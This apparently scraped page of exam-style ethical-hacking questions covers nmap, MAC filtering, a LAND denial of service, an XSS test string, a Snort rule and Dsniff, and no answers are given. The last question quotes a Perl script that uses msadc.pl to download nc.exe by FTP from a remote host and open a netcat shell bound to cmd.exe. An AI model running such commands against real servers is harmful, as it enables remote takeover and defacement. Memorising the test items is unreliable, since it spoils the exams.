What is a good example of a programming error that Bob can use to explain to the management how encryption wil
Bob has a good understanding of cryptography, having worked with it for many years. Cryptography is used to secure data from specific threats, but it does not secure the application from coding errors. It can provide data privacy; integrity and enable strong authentication but it cannot mitigate programming errors. What is a good example of a programming error that Bob can use to explain to the management how encryption will not address all their security concerns?
What should you do next?
You want to know whether a packet filter is in front of 192.168.1.10. Pings to 192.168.1.10 don’t get answered. A basic nmap scan of 192.168.1.10 seems to hang without returning any information.
What should you do next?
How was Bill able to get Internet access without using an agency laptop?
Hampton is the senior security analyst for the city of Columbus in Ohio. His primary responsibility is to ensure that all physical and logical aspects of the city’s computer network are secure from all angles. Bill is an IT technician that works with Hampton in the same IT department. Bill’s primary responsibility is to keep PC’s and servers up to date and to keep track of all the agency laptops that the company owns and lends out to its employees. After Bill setup a wireless network for the agency, Hampton made sure that everything was secure. He instituted encryption, rotating keys, turned off SSID broadcasting, and enabled MAC filtering. According to agency policy, only company laptops are allowed to use the wireless network, so Hampton entered all the MAC addresses for those laptops into the wireless security utility so that only those laptops should be able to access the wireless network.
Hampton does not keep track of all the laptops, but he is pretty certain that the agency only purchases Dell laptops. Hampton is curious about this because he notices Bill working on a Toshiba laptop one day and saw that he was on the Internet. Instead of jumping to conclusions, Hampton decides to talk to Bill’s boss and see if they had purchased a Toshiba laptop instead of the usual Dell. Bill’s boss said no, so now Hampton is very curious to see how Bill is accessing the Internet. Hampton does site surveys every couple of days, and has yet to see any outside wireless network signals inside the company’s building.
How was Bill able to get Internet access without using an agency laptop?
How would you resolve this situation?
You are the Security Administrator of Xtrinity, Inc. You write security policies and conduct assesments to protect the company’s network. During one of your periodic checks to see how well policy is being observed by the employees, you discover an employee has attached a modem to his telephone line and workstation. He has used this modem to dial in to his workstation, thereby bypassing your firewall. A security breach has occurred as a direct result of this activity. The employee explains that he used the modem because he had to download software for a department project. How would you resolve this situation?
What could be the reason?
An attacker is attempting to telnet into a corporation’s system in the DMZ. The attacker doesn’t want to get caught and is spoofing his IP address. After numerous tries he remains unsuccessful in connecting to the system. The attacker rechecks that the target system is actually listening on Port 23 and he verifies it with both nmap and hping2. He is still unable to connect to the target system. What could be the reason?
What type of Denial of Service attack is represented here?
Attacker forges a TCP/IP packet, which causes the victim to try opening a connection with itself. This causes the system to go into an infinite loop trying to resolve this unexpected connection. Eventually, the connection times out, but during this resolution, the machine appears to hang or become very slow. The attacker sends such packets on a regular basis to slow down the system.
Unpatched Windows XP and Windows Server 2003 machines are vulnerable to these attacks. What type of Denial of Service attack is represented here?
What vulnerability is detected in the web application here?
While testing web applications, you attempt to insert the following test script into the search area on the company’s web site:
alert(‘Testing Testing Testing’)
Afterwards, when you press the search button, a pop up box appears on your screen with the text “Testing Testing Testing”. What vulnerability is detected in the web application here?
Study the snort rule given below and interpret the rule.alert tcp any any –> 192.168.1.0/24 111 (cont
Study the snort rule given below and interpret the rule.
alert tcp any any –> 192.168.1.0/24 111 (content:”|00 01 86 a5|”; msg: “mountd access”;)
What would you call this attack?
Eric has discovered a fantastic package of tools named Dsniff on the Internet. He has learned how to use these tools in his lab and is now ready for real world exploitation. He was able to effectively intercept communications between two entities and establish credentials with both sides of the connections. The two remote ends of the communication never notice that Eric was relaying the information between the two. What would you call this attack?
exe"");What kind of exploit is indicated by this script?
You have been using the msadc.pl attack script to execute arbitrary commands on an NT4 web server. While it is effective, you find it tedious to perform extended functions. On further research you come across a perl script that runs the following msadc functions:
system(“perl msadc.pl -h $host -C “echo open $your >sasfile””);
system(“perl msadc.pl -h $host -C “echo $user>>sasfile””);
system(“perl msadc.pl -h $host -C “echo $pass>>sasfile””);
system(“perl msadc.pl -h $host -C “echo bin>>sasfile””);
system(“perl msadc.pl -h $host -C “echo get nc.exe>>sasfile””);
system(“perl msadc.pl -h $host -C “echo get hacked.html>>sasfile””);
system(“perl msadc.pl -h $host -C “echo quit>>sasfile””);
system(“perl msadc.pl -h $host -C “ftp -s:sasfile””);
$o=; print “Opening …n”;
system(“perl msadc.pl -h $host -C “nc -l -p $port -e cmd.exe””);
What kind of exploit is indicated by this script?